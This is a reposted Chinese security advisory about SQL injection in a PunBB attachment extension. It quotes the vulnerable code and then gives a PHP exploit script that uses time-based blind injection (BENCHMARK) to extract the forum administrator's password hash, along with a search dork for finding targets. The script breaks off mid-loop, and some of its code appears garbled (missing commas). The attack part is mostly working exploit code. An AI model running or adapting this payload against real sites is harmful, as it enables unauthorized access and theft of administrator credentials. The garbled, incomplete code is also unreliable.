Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

PunBB官方上传附件扩展注射漏洞

来源: 未知 分享至:

PunBB官方上传附件扩展注射漏洞

作者:Ryat

  1. if (isset($_GET[\'secure_str\']))  
  2. {  
  3.     if (preg_match(\'~(d+)f(d+)~\'$_GET[\'secure_str\'], $match))  
  4.     {  
  5.     ...  
  6.             \'WHERE\'        => \'a.id = \'.$attach_item.\' AND (fp.read_forum IS NULL OR fp.read_forum = 1) AND secure_str = \'\'.$_GET[\'secure_str\'].\'\'\'     

挺明显的,应该是对正则表达式及preg_match函数的误用,导致可以通过$_GET[\'secure_str\']来触发sql inj...

另外,在pun_list_attach.php文件还有个注射,不过需要后台权限,有兴趣的同学自己看,那个要更明显些:)

最后给个PoC性质的EXP,具体效果和利用方式就别问我了...

  1. #!/usr/bin/php  
  2. <?php  
  3.  
  4. print_r(\'  
  5. +---------------------------------------------------------------------------+  
  6. Punbb Extension Attachment <= v1.0.2 Bind SQL injection exploit  
  7. by puret_t  
  8. mail: puretot at gmail dot com  
  9. team: http://www.wolvez.org  
  10. dork: "Powered by PunBB" 
  11. +---------------------------------------------------------------------------+  
  12. \');  
  13. /**  
  14.  * works regardless of php.ini settings  
  15.  */ 
  16. if ($argc < 3) {  
  17.     print_r(\'  
  18. +---------------------------------------------------------------------------+  
  19. Usage: php \'.$argv[0].\' host path  
  20. host:      target server (ip/hostname)  
  21. path:      path to punbb  
  22. Example:  
  23. php \'.$argv[0].\' localhost /punbb/  
  24. +---------------------------------------------------------------------------+  
  25. \');  
  26.     exit;  
  27. }  
  28.  
  29. error_reporting(7);  
  30. ini_set(\'max_execution_time\', 0);  
  31.  
  32. $host = $argv[1];  
  33. $path = $argv[2];  
  34.  
  35. $pre = \'pun_\';  
  36.  
  37. $benchmark = 200000000;  
  38. $timeout = 10;  
  39.  
  40. echo "Plz Waiting...nPassword:n";  
  41. /**  
  42.  * get pass  
  43.  */ 
  44. $j = 1;  
  45. $pass = \'\';  
  46.  
  47. $hash[0] = 0; //null  
  48. $hash = array_merge($hash, range(48, 57)); //numbers  
  49. $hash = array_merge($hash, range(97, 122)); //a-z letters  
  50.  
  51. while (strlen($pass) < 40) {  
  52.     for ($i = 0; $i <= 255; $i ++) {  
  53.         if (in_array($i$hash)) {  
  54.             $cmd = \'1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20password%20FROM%20\'.$pre.\'users%20WHERE%20group_id=1%20LIMIT%201),\'.$j.\',1))=\'.$i.\'),BENCHMARK(\'.$benchmark.\',CHAR(0)),1))%23\';  
  55.             send();  
  56.             usleep(2000000);  

最新图文资讯
1 2 3 4 5 6
验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史